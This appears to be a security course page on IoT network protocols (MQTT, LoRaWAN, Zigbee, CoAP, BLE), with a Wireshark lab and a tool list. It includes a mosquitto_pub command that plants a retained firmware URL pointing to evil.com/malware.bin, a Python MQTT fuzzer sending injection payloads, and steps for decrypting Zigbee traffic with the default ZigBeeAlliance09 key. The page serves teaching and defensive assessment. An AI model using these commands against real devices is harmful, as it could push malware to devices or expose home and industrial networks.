Skip to content

Week 02 Quiz

Test your understanding of the weekly concepts.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz
CSY304 Week 02 Advanced

Official MQTT specification and resources

IoT & Embedded Systems Security

Track your progress through this week's content

Opening Framing

The Tower of Babel: Traditional IT is homogenous (TCP/IP, HTTP, JSON). IoT is a fragmented mess of incompatible languages. Your smart bulb speaks Zigbee, your car speaks CAN bus, your factory robot speaks Modbus, and your city's parking sensors speak LoRaWAN.

Why This Matters: Every translation layer is a vulnerability. When a Zigbee packet is translated to an MQTT message at the gateway, the "Translation Gap" often drops security context. An encrypted Zigbee frame becomes a cleartext MQTT payload. Attackers live in these gaps.

Real-World Relevance: The Jeep Hack (2015) wasn't a flaw in the brakes; it was a flaw in the Cellular-to-CAN bridge. The Ring Doorbell leaks (2019) were due to unencrypted Wi-Fi packets. Understanding the wire protocol allows you to see what the firewall misses.

Week Learning Outcomes:
  • Differentiate between Edge, Fog, and Cloud architectures.
  • Dissect MQTT packets to identify QoS levels, Retain flags, and Last Will abuse.
  • Analyze LoRaWAN security architecture (AppKey vs NwkKey) for smart city attacks.
  • Exploit Zigbee commissioning vulnerabilities (Touchlink, Key Sniffing).
  • Decrypt TLS/DTLS traffic given a pre-shared key (PSK).
  • Script custom packet interactions using Python and Scapy/Paho.

1) IoT Network Architectures

Before looking at packets, we must look at where they flow. IoT isn't just "Thing connected to Internet".


[ ARCHITECTURE LAYERS ]

      (High Latency, Infinite Compute)
โ˜๏ธ  CLOUD LAYER   AWS IoT / Azure Hub / Analytics
      ^           |
      | WAN (HTTPS/MQTT over TLS)
      v           |
๐ŸŒซ๏ธ  FOG LAYER     Gateway / Edge Server / Local Aggregator
      ^           (Raspberry Pi, Industrial Gateway)
      | PAN (Zigbee/BLE/LoRa)
      v
๐Ÿ’ก  EDGE LAYER    Sensors / Actuators / Microcontrollers
                  (ESP32, Arduino, Smart Bulb)

[ KEY SECURITY CONCEPT: THE TRUST BOUNDARY ]
The Gateway (Fog) is the most critical trust boundary. 
It holds the "Cloud Credentials" (AWS Keys) AND talks to the "Insecure Mesh" (Zigbee).
If you compromise the Gateway, you pivot to the Cloud.
                    

The Purdue Model (IoT Edition)

In Industrial IoT (IIoT), we map this to the classic Purdue model:

  • Level 0: Physical Process (The Motor, The Pump).
  • Level 1: Sensing/Manipulation (PLC, RTU).
  • Level 2: Supervisory (SCADA, HMI).
  • Level 3.5: The DMZ (Where IT meets OT).
  • Level 4: Enterprise (The Internet).
The "Converged" Risk: Modern IoT devices often skip levels, connecting Level 0 sensors directly to Level 4 Cloud. This destroys the air gap protection model.

2) MQTT: The Nervous System of IoT

Message Queuing Telemetry Transport is a lightweight, publish-subscribe protocol running over TCP/IP. It is the de-facto standard for consumer and industrial IoT.

Packet Structure Deep Dive

MQTT is binary, not text. You can't just `cat` it. The header is minimal (2 bytes minimum).

Byte Function Details
0 Control Packet Type Bits 7-4: Type (Connect=1, Publish=3)
Bits 3-0: Flags (DUP, QoS, Retain)
1...4 Remaining Length Variable Byte Integer (1-4 bytes). How long is the payload?
Variable Variable Header Topic Name, Packet ID (if QoS > 0).
Variable Payload The actual data (JSON, Binary, Text).

Quality of Service (QoS) Levels

QoS isn't about speed; it's about reliability guarantees. It creates state on the broker.

QoS 0: At Most Once

"Fire and Forget". No Ack. If connection drops, message is lost.
Risk: Data loss, but lowest DoS risk.

QoS 1: At Least Once

Sender stores message until `PUBACK` received.
Risk: Duplicate messages if Ack lost.

QoS 2: Exactly Once

4-way handshake (PUBREC, PUBREL, PUBCOMP).
Risk: DoS Vector! Consumes significant memory/state on the broker.

Critical Feature: Retained Messages

If the RETAIN flag is set to 1, the Broker saves the last message on that topic. New subscribers get it immediately upon connection.

Attack Scenario: The Permanent Defacement
# Attacker publishes a malicious config with RETAIN=1
mosquitto_pub -t "home/config/firmware_url" -m "http://evil.com/malware.bin" -r

# Result: Even if the attacker goes offline, EVERY device that reboots 
# and subscribes to this topic will download the malware.
# Fix: You must overwrite it with an empty retained message to clear it.

Critical Feature: Last Will and Testament (LWT)

A message the client sets during connection, to be published by the Broker if the client disconnects ungracefully (crashes).

Recon Tip: Watch LWT topics (often `status/connection`) to detect fragile devices crashing under fuzzing.

3) LoRaWAN: The Long Range Silent Network

LoRa (Long Range) is for smart cities (parking, water meters). It sends tiny packets (50 bytes) over kilometers, running on battery for 10 years.

The Physics: It uses Chirp Spread Spectrum (CSS). Analyzing the radio signal looks like "chirps" (rising frequencies) rather than traditional modulation.

LoRaWAN Architecture & Keys

Security relies on AES-128, but implementation matters.


[ END DEVICE ] --(LoRa Radio)--> [ GATEWAY ] --(IP Backhaul)--> [ NETWORK SERVER ] --(API)--> [ APP SERVER ]

ENCRYPTION KEYS (OTAA - Over The Air Activation):
1. AppKey (Root Key): Stored on Device and Join Server. NEVER TRANSMITTED.
   |
   +--> Derived Session Keys (during Join):
          |
          +--> NwkSKey (Network Session Key): 
          |    Integrity check (MIC) & Route data. (Terminates at Network Server)
          |
          +--> AppSKey (Application Session Key):
               Encrypts the Payload. (Terminates at App Server)

[ SECURITY BOUNDARY ]
The Gateway is effectively DUMB. It just forwards RF packets to IP.
It cannot decrypt traffic. This is better than Zigbee gateways!
                    

Attack Vector: Replay & Nonce reuse

Each packet has a Frame Counter (FCnt). The server tracks this. If it receives a packet with `FCnt < Current`, it drops it.

The 16-bit Rollover: FCnt is often 16-bit (max 65,535). If the device resets or rolls over without re-joining, it might reuse counter values (Nonce Reuse). This breaks the AES-CTR encryption, allowing keystream recovery and decryption!
ABP vs OTAA: "Activation By Personalization" (ABP) hardcodes keys and often resets counters on reboot. ALWAYS USE OTAA.

Case Study: The Casino Fish Tank

One of the most famous IoT hacks involved a smart thermometer in a casino lobby fish tank.

The Setup

The Kill Chain

  1. Initial Access: Attackers scanned the casino's public IP range and found the thermostat's open port (likely HTTP/Telnet).
  2. Exploit: Default credentials or a known firmware vulnerability gave them a shell on the thermostat.
  3. Pivot: From the thermostat, they scanned the internal network. The "isolated" VLAN allowed outbound connections to the database.
  4. Exfiltration: They dumped the High Roller database (10GB of data) and exfiltrated it through the thermostat, masquerading as temperature logs sent to the cloud.
Lesson: "Insignificant" devices are excellent pivot points. An attacker doesn't need a powerful server to tunnel traffic; a 500MHz ARM chip in a fish tank is plenty.

4) Zigbee: The Homelab Headache

Zigbee creates a mesh network for home automation (Philips Hue, IKEA Tradfri).

The Security Center (Coordinator)

The "Hub". It manages the network and distributes keys. Ideally, it is the only device that trusts new connections.

The Weak Link (Touchlink)

A "proximity" commissioning protocol. If you bring a remote close to a bulb, they pair. Attackers use high-gain antennas to perform "remote proximity" attacks.

Key Hierarchy (The fatal flaw)

Key Name Scope Vulnerability
Network Key (NK) Global (Shared by all) If one device is dumped, the whole network is compromised.
Link Key (LK) Pairwise (Device <-> Hub) Used to transport the Network Key securely? Not always.
TC Link Key Default Fallback "ZigBeeAlliance09". This is the default key used to confuse encryption if no unique LK exists. It is hardcoded in the standard!

The Attack: Capture the "Device Association" handshake. If the Network Key is sent encrypted with the default `ZigBeeAlliance09` key (it often is), you can decrypt it using a sniffer like KillerBee.

5) CoAP: REST on a Diet

Constrained Application Protocol (CoAP) is designed for devices too small for TCP. It runs over UDP (Port 5683).

Observer Pattern

Unlike HTTP where you poll ("Status?", "Status?"), CoAP allows Observing (Subscribing).


Client sends: GET /temperature (Observe=0)
Server replies: 2.05 Content "22C" (Notification #1)
... time passes ...
Server replies: 2.05 Content "23C" (Notification #2)
                

Security Risk: An attacker can observe a sensitive resource (e.g. `/motion_sensor`) and get real-time tracking of the user's presence without sending constant traffic.

DTLS: TLS over UDP

Since UDP implies no connection state, traditional TLS breaks. We use DTLS (Datagram TLS).

6) Bluetooth Low Energy (BLE)

BLE is not "Bluetooth Classic". It's a completely different stack optimized for coin-cell batteries.

GATT: The Data Hierarchy

BLE data is organized into Profiles -> Services -> Characteristics.


[ PROFILE: Heart Rate Monitor ]
      |
      +-- [ SERVICE: Heart Rate (UUID 0x180D) ]
             |
             +-- [ CHAR: Measurement (UUID 0x2A37) ] -- (Read/Notify) "72 bpm"
             |
             +-- [ CHAR: Sensor Location (UUID 0x2A38) ] -- (Read) "Chest"
                    

Pairing Methods: Just Works vs OOB

How do devices exchange keys when they have no screen or keyboard?

Method I/O Cap Security
Just Works None Zero. Keys are exchanged in cleartext. Trivial MITM.
Passkey Entry Keyboard/Display Good (if PIN is 6 digits). Brute-forceable if snifed.
Numeric Comparison Display/YesNo Excellent (User verifies codes match).
OOB (Out of Band) NFC Best (Key exchanged via physical contact).

Protocol Comparison Matrix

Choose the right tool for the job. Security architects must know the trade-offs.

Protocol Transport Topology Data Rate Typical Range Security Use Case
MQTT TCP/IP Star (Broker) Medium Global (WAN) TLS 1.2/1.3 Smart Home, Telemetry
CoAP UDP P2P / Star Low Global (WAN) DTLS Energy/Water Meters
HTTP/REST TCP/IP Star High Global (WAN) TLS/SSL Cloud APIs
Zigbee 802.15.4 Mesh 250 kbps 10-100m (PAN) AES-128 CCM Lighting, HVAC
Z-Wave Sub-GHz Mesh 100 kbps 30-100m (PAN) AES-128 (S2) Home Automation
BLE 2.4 GHz P2P / Star / Mesh 1-2 Mbps 10-50m (PAN) AES-128 CCM Wearables, Locks
LoRaWAN Sub-GHz Star-of-Stars ~5 kbps 2-15 km (LPWAN) AES-128 CTR Agriculture, Smart City
Sigfox Sub-GHz Star 100 bps 10-40 km (LPWAN) Limited Tracking, Simple Sensors
NB-IoT Cellular Star 200 kbps Global (Cell) LTE Encryption Smart Metering

Advanced Topic: Scripting Protocol Interactions

Manual tools like `mosquitto_pub` are great, but for fuzzing or complex exploits, you need Python.

Scenario: Fuzzing an MQTT Broker

We can use the `paho-mqtt` library to programmatically interact with a broker. An attacker puts this in a loop.

mqtt_fuzzer.py

import paho.mqtt.client as mqtt
import time
import random

# Target Configuration
BROKER = "192.168.1.50"
PORT = 1883
TOPIC = "home/livingroom/thermostat"

def on_connect(client, userdata, flags, rc):
    print(f"Connected with result code {rc}")

client = mqtt.Client()
client.on_connect = on_connect
client.connect(BROKER, PORT, 60)

# Fuzzing Loop
payloads = [
    "A" * 1000,           # Buffer overflow attempt
    "../etc/passwd",      # Path traversal attempt
    "{{ 7*7 }}",          # SSTI attempt
    b"\x00\xFF\x00",      # Null byte injection
    '{"temp": -99999}',   # Logic error
]

print("[*] Starting Fuzzer...")
for p in payloads:
    print(f"Sending payload: {p}")
    client.publish(TOPIC, p)
    time.sleep(0.5)

print("[*] Fuzzing Complete")
                    

7) Protocol Analysis Techniques

When you capture traffic, you need to filter the noise.

Wireshark Filter Cheat Sheet

Protocol Filter What to look for
MQTT mqtt mqtt.topic contains "admin" or mqtt.flags.retain == 1
CoAP coap coap.code == 0.01 (GET requests)
Zigbee zbee_nwk zbee_nwk.cmd.id == 0x05 (Route Request - network mapping)
BLE btle btatt.opcode == 0x12 (Write Request - changing settings)

Guided Lab: The Protocol Dissector

Objective: Use Wireshark to analyze a PCAP containing mixed IoT traffic and recover credentials.

Download: iot_traffic_capture.pcapng (Simulated)

Challenge 1: MQTT Plaintext

1. Open Wireshark. Filter for mqtt && tcp.port == 1883.

2. Look for a CONNECT packet.

3. Inspect Fixed Header -> Variable Header -> Connect Flags. Is "Password Flag" set?

4. Check the Payload. User: admin, Pass: Summer2025!

Challenge 2: The Mysterious Zigbee Key

1. Filter for zbee_aps (Application Support Layer).

2. Notice the payloads are encrypted (Data is random).

3. Go to Preferences -> Protocols -> Zigbee.

4. Add Key: 5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39 (ZigBeeAlliance09).

5. The packets turn into plaintext! This network used the default TC Link Key to transport the Network Key.

XP REWARD: +400 XP (Packet Whisperer)

Tools of the Trade

The standard toolkit for IoT network assessment.

Tool Protocol Function Install
Mosquitto Clients MQTT Publish/Subscribe via CLI. Essential for debugging. apt install mosquitto-clients
MQTT Explorer MQTT GUI for visualizing topic hierarchies. (Download App)
CoAP-Client CoAP Send CoAP GET/POST requests. Part of libcoap. apt install libcoap2-bin
KillerBee Zigbee Flash sniffer firmware to USB radio sticks (RZUSBstick). pip install killerbee
Bettercap BLE / Wi-Fi The "Swiss Army Knife" for recon and MITM. apt install bettercap
Ubertooth Util BLE Control Ubertooth One hardware for packet capture. apt install ubertooth
GATTTool BLE Interactive shell for GATT operations (Legacy but useful). apt install bluez
Scapy All Python library for packet crafting. pip install scapy
Wireshark All The gold standard packet analyzer. apt install wireshark

Glossary of Terms

Broker
The central server in MQTT that routes messages between publishers and subscribers.
Commissioning
The process of joining a new device to a Zigbee/Z-Wave network.
Coordinator
The root node of a Zigbee network (the Trust Center).
DTLS
Datagram Transport Layer Security. TLS adapted for UDP.
Edge Computing
Processing data on the device itself (e.g. AI on Chip) rather than sending to cloud.
Fog Computing
Processing data at the local gateway level.
GATT
Generic Attribute Profile. Defines how BLE data is structured (Services/Characteristics).
LoRaWAN
Long Range Wide Area Network. Low power, long range protocol using Chirp Spread Spectrum.
Mesh Network
A topology where devices relay messages for neighbors (Zigbee, Z-Wave).
QoS
Quality of Service. Guarantees for message delivery (0, 1, or 2).
Retained Message
An MQTT message stored by the broker to be delivered to new subscribers immediately.

Outcome Check

Resources & Tools

MQTT.org

Official MQTT specification and resources

MQTT-PWN

MQTT security testing framework

KillerBee

IEEE 802.15.4/Zigbee security research toolkit

Wireshark Display Filters

Reference for all protocol filters.

Weekly Reflection

Consider how IoT protocols balance security with resource constraints. Should devices with 8KB of RAM be expected to implement the same security as a server? What trade-offs are acceptable?